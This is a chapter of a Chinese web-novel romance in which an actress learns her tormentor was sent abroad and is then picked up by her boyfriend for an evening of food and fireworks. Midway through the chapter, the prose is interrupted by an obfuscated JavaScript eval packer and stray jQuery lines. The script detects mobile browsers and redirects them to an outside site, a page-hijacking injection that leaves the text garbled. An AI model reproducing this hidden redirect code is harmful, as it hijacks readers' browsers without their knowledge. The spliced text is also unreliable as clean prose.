70.“我在”

作品:《战绩这样还陪玩啊?

    ctb自然不会放过这么好的一波流量,在安妤放出消息养身体时,平台就将其拍摄的女药宣传片水灵灵地搬上了宣传页面,美名其曰支持安妤,实则又是狠狠吸了一波血。


    跟着ctb不解约消息一起来的,还有陈巍泽的出车祸的消息。


    在安妤蜗家休息两周后,这条爆炸性的信息在零点,瞬间引爆了热搜,随即被撤下。


    但是还是有不少截屏保存的信息在暗中流传。


    陈言煦打电话过来的时候已经是傍晚,杭江大上桥灯火葳蕤,摇曳在安妤家的落地窗上,雪白沉冗的窗帘罕见地没有拉合起来,慢室碎光。


    落地窗前,安妤拿着手机开了外放。


    “那家人线上有点关系,我妈出了一千万,把他送出了国。”


    自从安妤出院后,一些事情都在潜移默化地改变着,就比如陈巍泽名下的武打公司,因为被人举报偷税漏税而强制执行。也因为安妤的发声,圈内许多艺人结束了跟其的合作,收益跳崖似地下降。最后陈巍泽不得不将武术公司卖给了北城的一个朋友。


    天道好轮回。


    昨天晚上陈巍泽喝醉飙车撞倒一辆正常行驶的摩托车,恰好被一个路人拍下。


    男人红眼癫狂着要拍摄的人删掉视频,可惜这路人是个主播,事发全程都被他播了出去。


    原本私下可以通过钱解决的事情,现在被搬到了台面上,即使人没死,陈巍泽也自身难保。


    陈女士知道后发了好大一通火,差点就要从瑞士飞回来,亲手宰了这个小子,最后还是因为暴风雪来袭,航班延误,陈巍泽留下了一条命。陈女士也有静下心来思考,弥补上了那空缺的钱,并将罪魁祸首打包扔去了国外。


    眼不见为净。


    陈巍泽最后也没能如愿得陈女士的垂眼。


    “他——这辈子都别想再回国了。”陈言煦在手机那头静静说着,伴随着车子解锁的声音。


    安妤没忍住,轻轻吐出两个字:“活该。”


    不过对于他们这种小二代来说,人在不在国内都没有什么关系,钱和资源早已经被链接成了一张悬在氧气中的蜘蛛网。


    想搞安妤,他人在海外撒撒钱就行。


    话音落下,安妤心中就泛起丝丝后悔。毕竟是人家家里发生的事情,摩托车主到现在生死未卜,她说这话倒有些幸灾乐祸的意思了。


    手机那头意料中地没有说话。


    只传来一道安全带扣下的声音,在寂静中格外响耳。


    安妤心弦不由地拉紧了。


    比起嚣张跋扈的陈巍泽,陈言煦仿佛是另一个极端,从安妤认识他以来,给人的感觉一直是乖乖的,很好说话。


    这两周也都是他每天晚上陪着自己打游戏,剥离不控的情绪也在不知不觉中抽回许多。


    安妤垂眸,目光若有若无地划过脚下的川流不息的车流。不是下班点,车流量意外地大。


    “刚出发?”她问。


    话题值域跳地有点大,不想让别的人影响两人之间的气氛,安妤有意挑开话题注意力。


    那头似是愣了一下,随即:“嗯,刚从俱乐部开出来,大概八点多就到了。”


    “你累了就先睡会,等我到了,给你打电话。”一切的出发点都是以安妤的舒适为主。


    璀璨灯光在她眼中失去焦点,安妤抿嘴,轻声回道:“没事,你慢慢开,不着急。”


    现阶段LGD训练周期是练8休2,这几天赶完训练进度,播完时长,陈言煦就获了两天双休的小小假,下午刚结训,他就带着那束提前在农场定好的苹果杰克玫瑰,朝杭江奔来。


    这是在质疑他的车技?


    陈言煦的声音远了:“姐姐,我驾龄都快五年了...”


    比她还长。


    空气静默几秒。


    安妤反应过来,北美满十六周岁就能开车了。


    她夸赞:“厉害。”真心的。


    毕竟她自己的驾照还是在前几年没戏拍的时候去考出来的。


    死板的教练遇上了脑子来不及转弯的安妤,一个出厂设置难度的题目,安妤整整靠了四次都没有过,每次都卡在88/89。最后还是在考前遇到个好心的小姐姐,两人聊了之后,安妤才发现别人考科目一刷的都是‘驾考宝典’。只有她,苦命地刷着基础题,刷的是基础题,考的全是送命题。


    最后这事被言欣知晓后,还嘲笑了她好久。


    安妤思绪逐渐飘远。


    窗外灯光闪烁,夜幕被晕染成带了黄边的黑布,杭江是新一线城市,无论是否休息日,各大商场总是人满为患,仿佛这些本地人都不用上班一样。


    两个人时不时蹦出个话茬答着,也不知道具体说了些啥。


    最后,这通电话在不知不觉中挂掉了。


    ——


    客厅的地暖一直开着,暖烘烘的。


    等安妤从沙发上小憩结束后,墙上的时针已然快指到了‘9’。


    窗外灯光依旧,流糜在全屋精装的石膏墙上,红色绿的黄的,交织在一起,绚丽又诡糜。


    安妤脑子还没清醒,手已经自觉地点亮了手机屏幕,白光刺眼,她闭上一只眼,眯起另一只眼瞧。


    八点零七分,陈言煦发来了两条信息。


    oceana:【我马上到了。】


    oceana:【大概十分钟左右】


    20:16


    oceana:【我到了】


    信息发过来的时候,安妤还在沙发上睡觉,自然是错过了。


    三十分钟多了。


    yu:【在】


    她在。


    安妤从沙发上跳起来,顺手摸过沙发上放着的帽子跟口罩,女明星的出门必备。


    杭江有个习俗,腊月中下旬,有祭拜火神的习惯,围着篝火跳舞,把酒言欢。不仅有烟花秀,还有最近网上很火的打铁花,热闹非凡。


    说好了,他们晚上要出去一起看烟花。


    尽管早已过了十七八岁那种情窦初开的年纪,但是一想到今天晚上两人突破那层薄膜后的首次单独相处,安妤的心脏就止不住地快速跳动。


    ‘嗡——’信息被秒回。


    安妤抽出手划开聊天框。


    oceana:【我在。】


    oceana:【‘图片’】


    是她们小区底下车库的照片,高端商务小区的地下车库也是一样地金碧辉煌,宛如酒店大堂,他刷的是安妤給的通行证,此时这辆黑色的车子正稳稳当当地停在她家电梯出口。


    扫了眼那张图片,安妤按下语音键:“不好意思,我刚才睡过去了,现在就下来。”


    oceana:【‘语音4s’】


    信息发过来的那一秒,安妤恰好穿上羽绒服外套,黑色的羽绒服,薄薄的一片,穿在身上确是暖呼呼的,手机被她顺手塞进了口袋里,轻微的震动瞬间被隔绝。


    冬日晚上点冷的,尤其是在南方,那种湿冷是从脚底爬上来的,蔓延在人的骨头里。


    车子里的温度打地不低,安妤上车后的第一想法就是想脱外套。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15797515|169917||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    陈言煦看出她的想法,自觉将车里的空调调低,并给她那边的车窗摇下来些,让冷风灌入,吹吹闷胀的脑子。


    “吃饭了吗?”安妤顾自低头整理,以至于问地有些僵硬。


    自从两人确认关系后,安妤觉得自己有些话就很难再跟之前那样可以毅然决然什么也不顾地说出口了。


    如坐针毡。


    车门上锁。


    陈言煦倒是自然,他自若地打转着方向盘:“上车前,吃了点包子”


    安妤:“哦?”


    她在调整束缚有些紧的安全带,下意识问:“好吃吗?”


    “吃吃就知道了。”


    安妤顿住:“嗯?”


    吃什么?


    还没等她反应过来,车子迫停在了一旁的停车位边上,驾驶位上的男人就从夹克衫内衬口袋里摸出了个用透明塑料袋抱着的圆形物件。


    透明塑料袋里是白色的吸油纸。


    鼻尖闻到了一丝包子夹着肉类的香气。


    陈言煦笑着将那个圆鼓鼓的东西递过来。


    安妤脑子瞬间一片空白,今天言欣不在,冰箱里的食物懒得热,也懒得点外卖,整整一天肚子里都没进什么货,以至于此时的嗅觉格外地敏锐,是肉包的香气。


    时间在这一瞬定格,任何运动轨迹都在她眼中呈几百倍减速运行,安妤鬼使神差地接过来,掌心温热。


    她看到,塑料袋上明晃晃地印着‘老宗祥’三个字。


    陈言煦依旧是笑眯眯的,他撒娇似地说:“姐姐,吃一下就知道好不好吃了。”


    我...


    “好。”


    车子里响起塑料袋的剥离声,窸窸窣窣地,包裹地严实的蟹黄汤包一个个圆润润地躺在吸油纸里,白团子被蟹黄侵出一道道鲜美的红痕。半点没被压扁,光是闻着味,就叫人直流口水。


    莫名地,安妤眼眶一热,她掩下情绪,低头轻轻地咬了一口。


    “好吃。”


    得到安妤的夸赞,陈言煦这才舒服了,他眉眼弯弯,看着安妤将小笼包吃掉,继而不慌不忙地伸出右手,又从夹克内衬里摸出两个还热乎着的鸡翅,安妤闻到了孜然辣椒粉的味道。


    安妤惊楞:...


    哆啦A梦的百宝袋。


    “不够还有。”


    “够了够了。”


    安妤抓过他手中的鸡翅,咽下嘴巴里的油润,说:“谢谢。”


    她确实好久没吃过蟹黄包了,前几天言欣还在这,扼制住了她一切的荤腥念头,每天都是小米粥,养胃地很。清淡饮食惯了,安妤也早忘了这些味道,也不会刻意想起来去吃。


    不过,她现在不用刻意去极端减肥。


    现在网上还有许多言论在恶意传播安妤因为躁郁症被列为了高危艺人,准备进组的折魂也因为这档子事被撤掉。嗅到营销苗头,工作室跟剧组及时地出声阻止舆论发酵,并再次发出晕倒是因为减肥过度导致身体机能出现问题的声明。


    折魂项目延后一个月推进,目前优化细节。这个公告,给了安妤和她粉丝满满的安全感。


    但还是会有一些试图合作的商务和剧本,也因为安妤的过往病史,踌躇不敢下注。


    人之常情,获得什么就要去承受相对应的。


    后视镜上,安妤轻轻咀嚼着,腮帮子一动一动地,目光游离在前挡风玻璃上。


    车子缓缓行驶。


    陈言煦打转着方向盘,空气中的冷感随着运动变重,他说:“阿妤,想不想看火树银花?”


    “...昂?”